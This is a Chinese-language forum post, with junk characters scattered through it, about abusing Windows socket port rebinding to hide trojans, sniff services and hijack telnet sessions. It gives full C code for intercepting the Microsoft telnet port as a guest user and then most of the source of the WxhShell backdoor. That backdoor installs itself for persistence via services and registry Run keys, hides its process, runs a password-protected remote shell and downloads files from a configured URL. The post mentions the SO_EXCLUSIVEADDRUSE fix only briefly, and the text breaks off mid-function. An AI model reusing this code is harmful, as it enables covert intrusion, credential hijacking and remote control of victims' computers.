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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FqUt uN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vBYT)S  
|o=\9:wV  
  saddr.sin_family = AF_INET; !>2\OSp!  
v{{2<,l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hYUV9k:  
~B*\k^t`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aq,)6P`  
|m 5;M$M)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?! _pP|  
Ee\-q  
  这意味着什么?意味着可以进行如下的攻击: )4_6\VaM  
.yfqS|(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <&0*5|rR  
Y7V&zF{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [`-O-?=  
8!%"/*P$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (:Hbtr I  
O9=H [b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p,u<g JUL  
KIBZQ.uG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c)!s[oL  
%3+hz $E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a={qA4N  
I;Fy k70w;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "gikX/Co=  
D:vUy*  
  #include lvJ{=~u  
  #include I+d(r"N1  
  #include cTa D{!zm5  
  #include    MVv^KezD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8Gg/M%wq9U  
  int main() ZUJOBjb` K  
  { RowiSW  
  WORD wVersionRequested; g7LW?Ewr  
  DWORD ret; ,Ve@=<  
  WSADATA wsaData; <$6'Mzf  
  BOOL val; {BCj VmY  
  SOCKADDR_IN saddr; HeifFJn  
  SOCKADDR_IN scaddr; Y9L6W+=T  
  int err; N_k6UA9  
  SOCKET s; UR2)e{RXg  
  SOCKET sc; A^@<+?  
  int caddsize; yIf}b  
  HANDLE mt; LqsJHG  
  DWORD tid;   ^r :A^q  
  wVersionRequested = MAKEWORD( 2, 2 ); )9jQ_  
  err = WSAStartup( wVersionRequested, &wsaData ); / lM~K:  
  if ( err != 0 ) { (<JDD]J  
  printf("error!WSAStartup failed!\n"); :Fd9N).%  
  return -1; h}&IlDG  
  } 3X,{9+(F  
  saddr.sin_family = AF_INET; `h3}"js  
   9Zsb1 M!n>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8si^HEQ8  
~[y+B0I3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  de47O  
  saddr.sin_port = htons(23); ({nSs5)$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Od]xIk+E  
  { \` ^Tbn:  
  printf("error!socket failed!\n"); T|2%b*/  
  return -1; V@'S#K#  
  } sLqvDH?V  
  val = TRUE; Rs[]i;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LhRe?U\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *+Q*&-$  
  { l{o{=]x1  
  printf("error!setsockopt failed!\n"); W*`6ero  
  return -1; Iw7r}G  
  } /(pChY>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K.1yncS^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 emPm^M5/K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u`@FA?+E1  
J\D3fh97-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bu&y w~  
  { X2?_lZ[\  
  ret=GetLastError(); $-fY8V3[  
  printf("error!bind failed!\n"); 1ZFSz{  
  return -1; "q/M8  
  } AV3,4u  
  listen(s,2); :Ia&,;Gc  
  while(1) =T}uQ$X  
  { XqH<)B ]  
  caddsize = sizeof(scaddr); AK?j1Pk  
  //接受连接请求 xU<lv{m`D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NP*0WT_gB  
  if(sc!=INVALID_SOCKET) wT yM9wz&  
  { `3oP^#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :?k=Yr  
  if(mt==NULL) ZUW>{'[K  
  { #'h CohL  
  printf("Thread Creat Failed!\n"); }?kO<)d  
  break; q:sR zX  
  } Vp{2Z9]}  
  } " <a|Q,!  
  CloseHandle(mt); Yb{t!KL  
  } &ru0i@?)  
  closesocket(s); Rj`Y X0?+  
  WSACleanup(); S`w)b'B!M  
  return 0; !PIdw~YC  
  }   <j3HT"^[D  
  DWORD WINAPI ClientThread(LPVOID lpParam) +qf{ '|H  
  { hO@3-SRa,k  
  SOCKET ss = (SOCKET)lpParam; y<d#sv(s  
  SOCKET sc; KZfRiCZ  
  unsigned char buf[4096]; Lo9?,^S  
  SOCKADDR_IN saddr; Vnb#N4vR  
  long num; 3[Iw%% q  
  DWORD val;  )6+W6:  
  DWORD ret; AI;=k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F &}V65  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~U+'3.Wo  
  saddr.sin_family = AF_INET; 0|;=mYa4M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8:fiO|~%  
  saddr.sin_port = htons(23); mDf WR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cpnwx1q@  
  { ,m]q+7E  
  printf("error!socket failed!\n"); 6|}mTG^  
  return -1; #?6RoFgMe  
  } ]!:Y]VYN)\  
  val = 100; rtE,SN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h cXqg  
  { B{ "<\g  
  ret = GetLastError(); .p>8oOp  
  return -1; nTKfwIeg5  
  } =>*N W9c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )aSkUytg"  
  { epyfgg MT  
  ret = GetLastError();  c @fc7  
  return -1; <-}\V!@E!  
  } C ,hsr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vrbh+  
  { e*H$c?7NL  
  printf("error!socket connect failed!\n"); Din)5CxFX  
  closesocket(sc); K^ \9R  
  closesocket(ss); qr6jn14.c  
  return -1; */E{s?  
  } n\Ixv  
  while(1) S &u94hlC  
  { m.1BLN[9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i>2_hn_UR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g"Bv!9*H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !d(V7`8  
  num = recv(ss,buf,4096,0); d*L'`BBsp  
  if(num>0) 1[^d8!U  
  send(sc,buf,num,0); y9)",G!  
  else if(num==0) ^ BKr0~4A  
  break; sN2l[Ous  
  num = recv(sc,buf,4096,0); vE(Hy&Q&  
  if(num>0) Dzr5qP?#  
  send(ss,buf,num,0); z, [ +  
  else if(num==0) {A UEVt  
  break; )K~nZLULY  
  } Uw"   
  closesocket(ss); Xk'.t|  
  closesocket(sc); :f;|^(]"  
  return 0 ; DAW%?(\,  
  } K>y+3HN[6  
<H6Uo#ao  
%R"Fx$tQ  
========================================================== {wI0 =U  
-S @:  
下边附上一个代码,,WXhSHELL =P{RHhWy;  
's<}@-]  
========================================================== e{&gF1" [  
3yN1cd"#?  
#include "stdafx.h" BL67sva;  
51x,[y+Xe  
#include <stdio.h> :cTi$n  
#include <string.h> qv\yQ&pj  
#include <windows.h> v*3:8Y,  
#include <winsock2.h> wn`budH?c8  
#include <winsvc.h> O5 SX"A  
#include <urlmon.h> ?*,q#ZkA9W  
v(`$%V.  
#pragma comment (lib, "Ws2_32.lib") ?9+;[X  
#pragma comment (lib, "urlmon.lib") UlrY  
ikQ2x]Sp  
#define MAX_USER   100 // 最大客户端连接数 rNc>1}DDS  
#define BUF_SOCK   200 // sock buffer 2lRZ/xaF%P  
#define KEY_BUFF   255 // 输入 buffer {y'k wU  
d yd_dK/  
#define REBOOT     0   // 重启 jLTs1`I/F  
#define SHUTDOWN   1   // 关机 D$HxPfDZ  
zeX?]@]Y  
#define DEF_PORT   5000 // 监听端口 GCHssw~P'v  
.+yJ'*i$d  
#define REG_LEN     16   // 注册表键长度 ? t-2oLE  
#define SVC_LEN     80   // NT服务名长度 |4vk@0L  
0W> ",2|z  
// 从dll定义API ;q Z2V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K#jm6Xh?E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )1/O_N6C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [z\*Zg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ( C&f~U  
R<-KXT9  
// wxhshell配置信息 &3<]FK  
struct WSCFG { &!ZpBR(  
  int ws_port;         // 监听端口 b11C3TyQT  
  char ws_passstr[REG_LEN]; // 口令 *RPI$0  
  int ws_autoins;       // 安装标记, 1=yes 0=no a'BBp6  
  char ws_regname[REG_LEN]; // 注册表键名 DcS~@ ;  
  char ws_svcname[REG_LEN]; // 服务名 6%TV X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I,D=ixK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zx27aZ[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _N6GV$Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~&kV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TUG3#PSnm*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @y+Wl*:  
qcqf9g  
}; v!2`hq O  
"2mVW_k  
// default Wxhshell configuration F>OYZOC]  
struct WSCFG wscfg={DEF_PORT, 7DD ot_qb  
    "xuhuanlingzhe", kDsUKO p  
    1, rAWBuEU;!  
    "Wxhshell", i> ;G4  
    "Wxhshell", 9 wc=B(a|  
            "WxhShell Service", 6*$N@>8&  
    "Wrsky Windows CmdShell Service", _wIAr  
    "Please Input Your Password: ", fw<'ygd  
  1, ^#+9v  
  "http://www.wrsky.com/wxhshell.exe", /=%4gWtr  
  "Wxhshell.exe" >|<6s],v  
    }; J{H475GqiT  
gb-n~m[y  
// 消息定义模块 IcB>Hg5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m9/a!|fBE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ctf'/IZ5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; - 0zo>[c/p  
char *msg_ws_ext="\n\rExit."; $/Mk.(3'P  
char *msg_ws_end="\n\rQuit."; ~34$D],D  
char *msg_ws_boot="\n\rReboot..."; ipsNiFv:  
char *msg_ws_poff="\n\rShutdown..."; @I%m}>4Jm  
char *msg_ws_down="\n\rSave to "; b+kb7  
4R6X"T9-  
char *msg_ws_err="\n\rErr!"; E>&dG:3no  
char *msg_ws_ok="\n\rOK!"; q;rU}hAzG0  
^VA)vLj@  
char ExeFile[MAX_PATH]; 7\.5G4dr%  
int nUser = 0; *{uu_O  
HANDLE handles[MAX_USER]; )[A}h'J)  
int OsIsNt; ,W.O*vCA  
Mf?4 `LM  
SERVICE_STATUS       serviceStatus; GE>&fG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U9Sp$$L  
dG1qrh9_-  
// 函数声明 Rc u/ @j{O  
int Install(void); {|qz>  
int Uninstall(void); N7|ctO  
int DownloadFile(char *sURL, SOCKET wsh); 6uDNqq  
int Boot(int flag); s;>jy/o0 s  
void HideProc(void); , =#'?>Kq  
int GetOsVer(void); Ox58L>:0m  
int Wxhshell(SOCKET wsl); EM"YjC)F  
void TalkWithClient(void *cs); #6JG#!W  
int CmdShell(SOCKET sock); /gxwp:&lY  
int StartFromService(void); Zvc{o8^z  
int StartWxhshell(LPSTR lpCmdLine); ZW2U9  
ur;8uv2o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &Oe,$%{hBh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1&U U6|X  
AtSEKpKc  
// 数据结构和表定义 ^s^X nQhE  
SERVICE_TABLE_ENTRY DispatchTable[] = ~GZ(Ou-&  
{ y8\44WKW  
{wscfg.ws_svcname, NTServiceMain}, 5WEF^1  
{NULL, NULL} HH^eEh4g  
}; xand%XNv  
J5429Soo  
// 自我安装 }nkX-PG9  
int Install(void)  $///N+B  
{ UtzW5{  
  char svExeFile[MAX_PATH]; nM@S`"  
  HKEY key; v=!]t=P)t  
  strcpy(svExeFile,ExeFile); `Dj-(~x  
$cc]pJy"}  
// 如果是win9x系统,修改注册表设为自启动 QHK$2xtq|  
if(!OsIsNt) { y:xZ(RgfF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l2xM.vR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *f1MgP*GKF  
  RegCloseKey(key); tip\vS)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n<?:!f`   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nT:ZSJWM  
  RegCloseKey(key); O0e6I&u :  
  return 0; SwLul4V  
    } h&&ufF]D  
  } $Die~rPU  
} O.}{s;  
else { d&F8nBIM5  
~i(X{ ^,3  
// 如果是NT以上系统,安装为系统服务 ~qs 97'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4\>Cnc{  
if (schSCManager!=0) O",:0<  
{ WJ8i,7  
  SC_HANDLE schService = CreateService LXr nAt  
  ( _8S!w>$)  
  schSCManager, sT|8a  
  wscfg.ws_svcname, H{yeN 5   
  wscfg.ws_svcdisp, .#@*)1A#t  
  SERVICE_ALL_ACCESS, &0~E+ 9b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _dj_+<Y?  
  SERVICE_AUTO_START, PE0A`  
  SERVICE_ERROR_NORMAL,  LGV"WE  
  svExeFile, Bi9 S1 p  
  NULL, ,F]Y,"x:  
  NULL, ]7eQ5[ 5s  
  NULL, ^ 14U]<  
  NULL, uPhFBD7  
  NULL 4u0=/pfi[  
  ); %N04k8z  
  if (schService!=0) ycTX\.KV  
  { '(r/@%=U  
  CloseServiceHandle(schService); R_`i=>Z-  
  CloseServiceHandle(schSCManager); LY(YgqL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sA[hG*#/S  
  strcat(svExeFile,wscfg.ws_svcname); 1:(qoA:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yHsmX2s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [> Q+=(l  
  RegCloseKey(key); ci a'h_w  
  return 0; W1fEUVj  
    } j#hFx+S  
  } g1UP/hNJ\8  
  CloseServiceHandle(schSCManager); .5 Sw  
} ;EDc1:  
} ?RNm8,M  
 rl"$6{Z}  
return 1; ZCVwQ#Xe+  
} aNs~Uad1U  
V C$,Y  
// 自我卸载 Sc#B -4m  
int Uninstall(void) :sDE 'o  
{ bis}zv^%v  
  HKEY key; Myaj81  
'RZ=A+%X  
if(!OsIsNt) { 8` ~M$5!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4LO4SYW7  
  RegDeleteValue(key,wscfg.ws_regname); HGM? ?=  
  RegCloseKey(key); #SyF-QZ[1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dp;;20z  
  RegDeleteValue(key,wscfg.ws_regname); t+y$i@R:  
  RegCloseKey(key); >v--R8I*  
  return 0; ts|dk%  
  } s[<a(  
} '9d<vW g  
} :buH\LB*P  
else { <j\osw1R  
|W $epOLg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A)v! {  
if (schSCManager!=0) vfBIQfH  
{ B"KDr_,,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "wwAbU<  
  if (schService!=0) b~$B 0o)  
  { Fs+ CY  
  if(DeleteService(schService)!=0) { TEB<ia3+  
  CloseServiceHandle(schService); q-? k=RX`  
  CloseServiceHandle(schSCManager); QEtf-xNn^  
  return 0;  j`H5S  
  } "^gV.  
  CloseServiceHandle(schService); $+'bRUo  
  } xbUL./uj  
  CloseServiceHandle(schSCManager); Q#gzk%jL@  
} o4Ny9s  
} TTGk"2 Q'  
t?&@bs5~g  
return 1; &>%R)?SZh  
} hKx*V"7/#\  
+,8j]<wpo  
// 从指定url下载文件 '>"riEk  
int DownloadFile(char *sURL, SOCKET wsh) cpY'::5.%  
{ 8VWkUsOoI  
  HRESULT hr; xJcM1>cT>  
char seps[]= "/"; <t~RGn3  
char *token; n7EG%q6m+  
char *file;  H8lh.K  
char myURL[MAX_PATH]; lhk=yVG3  
char myFILE[MAX_PATH]; --D&a;CO}  
U-]Rm}X\M  
strcpy(myURL,sURL); (Ci{fY6`  
  token=strtok(myURL,seps); PQ0l<]Y  
  while(token!=NULL) \jR('5DcB  
  { 3)ZdT{ MY  
    file=token; '!V5 #J  
  token=strtok(NULL,seps); 6Wn"h|S  
  } .,vF% pQ  
- WEEnwZ  
GetCurrentDirectory(MAX_PATH,myFILE); C<G`wXlP|  
strcat(myFILE, "\\"); e6 &-f  
strcat(myFILE, file); 0`H)c) pP  
  send(wsh,myFILE,strlen(myFILE),0); U@'F9UB`  
send(wsh,"...",3,0); Hyn*O)q!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !dcG Bj  
  if(hr==S_OK) {J[5 {]Je[  
return 0; Qnr7Qnb  
else .dE2,9{Z  
return 1; #Rw9 Iy4  
N!=$6`d  
} /c4@QbB  
cUDo}Yu  
// 系统电源模块 ,suC`)R  
int Boot(int flag) \9Yc2$dY  
{ Q($.s=&l;  
  HANDLE hToken; (\qO~)[0  
  TOKEN_PRIVILEGES tkp; 6xC$R q  
xRiWg/Z~  
  if(OsIsNt) { =Z~nzyaN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T+knd'2V6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9$iDK$%  
    tkp.PrivilegeCount = 1; G&DL)ePu]m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IPTEOA<M[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :}n\ r/i  
if(flag==REBOOT) { %fzZpd]v=,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 15)y]N={^  
  return 0; wMx# dP4W8  
} +jv&V%IL  
else { FVo_=O)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W&'[Xj  
  return 0; F?jFFw im  
} x[m&ILr  
  } ),%(A~\  
  else { 0D Q\akh  
if(flag==REBOOT) { xn BL{ []  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8~6H\.0Q  
  return 0; W6 y-~  
} ^:Hx.  
else { #ts;s\!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QGkMT +A  
  return 0; qHtonJc  
} K4`)srd  
} NW AT"  
#l<un<  
return 1; L&nqlH@+~  
} L2$`S'UW  
NKX62 ZC  
// win9x进程隐藏模块 ZPO+ #,  
void HideProc(void) Rg,]d u u?  
{ :IB@@5r1  
O3];1ud  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kb icP<  
  if ( hKernel != NULL ) xoQ;fVNp  
  { O_bgrXg6x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uNoP8U%*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WNo",Vc  
    FreeLibrary(hKernel); %X^K5Io  
  } 8+=-!": ]  
\:[J-ySJ  
return; .`; bQh'!  
} ^U@-Dp,k+  
]\ DIJ>JZ  
// 获取操作系统版本 \fjr`t]  
int GetOsVer(void) R&P}\cf8T  
{ >mXq= 9L4  
  OSVERSIONINFO winfo; 7~H.\4HB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h F4gz*Q  
  GetVersionEx(&winfo); }(-2a*Z;Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 079mn/8;  
  return 1; 5<=ktA48[  
  else L32[IL|  
  return 0; g71|t7Q  
} Duh[(r_  
vOnhJN  
// 客户端句柄模块 )&$p?kF  
int Wxhshell(SOCKET wsl) 4Y!_tZ>  
{ ?x-:JME0  
  SOCKET wsh; uu`G<n  
  struct sockaddr_in client; iLR^V!  
  DWORD myID; Hs>|-iDs(  
xTV3U9 v  
  while(nUser<MAX_USER) gT8%?U:  
{ yD\[`!sWk  
  int nSize=sizeof(client); 3g''j7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?VaAVxd29  
  if(wsh==INVALID_SOCKET) return 1; S(MVL!Lm  
blHJhB&8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }+3v5Nz;  
if(handles[nUser]==0) ,{rm<M.)  
  closesocket(wsh); pjaDtNb  
else 530Z>q  
  nUser++; L kA_M'G  
  } ` fm^#Nw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6Q}WX[| tQ  
v==]v2 -  
  return 0; x+B7r& #:  
} v5Qp[O_  
XZ1oV?Z4  
// 关闭 socket pipO ,n  
void CloseIt(SOCKET wsh) fBZAO  
{ E%tGwbi7  
closesocket(wsh); 6'YsSde".  
nUser--; yWkg4  
ExitThread(0);  p;k7\7  
} c u:1|gt  
0g&#hW};[6  
// 客户端请求句柄 i<ug("/  
void TalkWithClient(void *cs) 1NI%J B  
{ ?r"QJa>  
vD@ =V#T  
  SOCKET wsh=(SOCKET)cs; f:_mrzz  
  char pwd[SVC_LEN]; M!Hn`_E  
  char cmd[KEY_BUFF]; G,]%dZH e  
char chr[1]; J#OiY  
int i,j; q[rBu9  
FR%u1fi  
  while (nUser < MAX_USER) { (Z{&[h  
D;RZE  
if(wscfg.ws_passstr) { E/[<} ./  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'tRaF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s2'] "wM  
  //ZeroMemory(pwd,KEY_BUFF); SA1| 7  
      i=0; `EjPy>kM  
  while(i<SVC_LEN) { &N^^[ uG  
L4wKG&  
  // 设置超时 p"lTZ7c:Y  
  fd_set FdRead; vI)-Zz[3  
  struct timeval TimeOut; XX@@tzN  
  FD_ZERO(&FdRead); 6n}5>GSF  
  FD_SET(wsh,&FdRead); ejID5NqG  
  TimeOut.tv_sec=8; 1`;,_>8  
  TimeOut.tv_usec=0; xbeVq P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D-GIrw{>5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z\@m_ /g  
-55Pvg0ND  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e?"XMY  
  pwd=chr[0]; k&kx%skz  
  if(chr[0]==0xd || chr[0]==0xa) { nKP[U=ac  
  pwd=0; H%AF,  
  break; 9)Jc'd|  
  } @&7|Laa  
  i++; 8D[,z 7n  
    } 4kZ9]5#.  
GdxMHnn=  
  // 如果是非法用户,关闭 socket ELlTR/NW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p%_m!   
} ?'I[[KuG  
$G_,$U !  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0!^vQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BWd{xP y  
rps2sXGr  
while(1) { D8b~-#  
R p!R&U/  
  ZeroMemory(cmd,KEY_BUFF); w,'"2^Cwy  
kDrqV{_  
      // 自动支持客户端 telnet标准   >*5+{~k~4  
  j=0; `(RQh@H  
  while(j<KEY_BUFF) { JMnk~8O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j#`d%eQ~J  
  cmd[j]=chr[0]; x9c/;Q &m  
  if(chr[0]==0xa || chr[0]==0xd) { 7xmyjy%c  
  cmd[j]=0; bg8<}~zg  
  break; G O=&  
  } *i}Nb* Z3  
  j++; cvf@B_iN9  
    } /Ww_fY  
1b6o x6  
  // 下载文件 KvFGwq"X  
  if(strstr(cmd,"http://")) { I^5T9}>Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2(, `9  
  if(DownloadFile(cmd,wsh)) _>G=v!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $7#N@7  
  else tPT\uD#t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?H c~ 3  
  } &*}NN5Sv  
  else { ]m#.MZe  
F^ m`j6  
    switch(cmd[0]) { <eObQ[mQ  
  3lyk/',  
  // 帮助 PgKA>50a  
  case '?': { reyN5n~4U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GP %83T  
    break; Q9lw~"  
  } CvCk#:@HM  
  // 安装 hSgfp  
  case 'i': { !bnuCc  
    if(Install()) |P_\l,f8`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [TZlvX(E  
    else N0@&eX|$i4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OHqc,@a;+  
    break; q;T3bxp+  
    } $B6"fYiDk  
  // 卸载 Lx-ofN\  
  case 'r': { `"0#lZ`n  
    if(Uninstall()) C043h?x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >IW0YIQy,  
    else Lm kv .XF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {emO&#=@CP  
    break; q16RPqfT  
    } la ~T)U7  
  // 显示 wxhshell 所在路径 ,3G8afo  
  case 'p': { "_qH+ =_R  
    char svExeFile[MAX_PATH]; ,}!OJyT  
    strcpy(svExeFile,"\n\r"); &qki NS  
      strcat(svExeFile,ExeFile); %]JSDb=C  
        send(wsh,svExeFile,strlen(svExeFile),0); *p;Fwj]  
    break; B2~KkMF  
    } .:tAZZ  
  // 重启 *rO#UE2  
  case 'b': { PaF`dnJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <|~8Ezd  
    if(Boot(REBOOT)) m~%\f8w-x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }2Y:#{m  
    else { _ x&Y'X|  
    closesocket(wsh); j]EeL=H<P  
    ExitThread(0); +tL]qO BP  
    } B$aA=+<S  
    break; }EmNSs`$r  
    } /,'D4s:Gg  
  // 关机 sE$!MQb  
  case 'd': { Rh-e C6P  
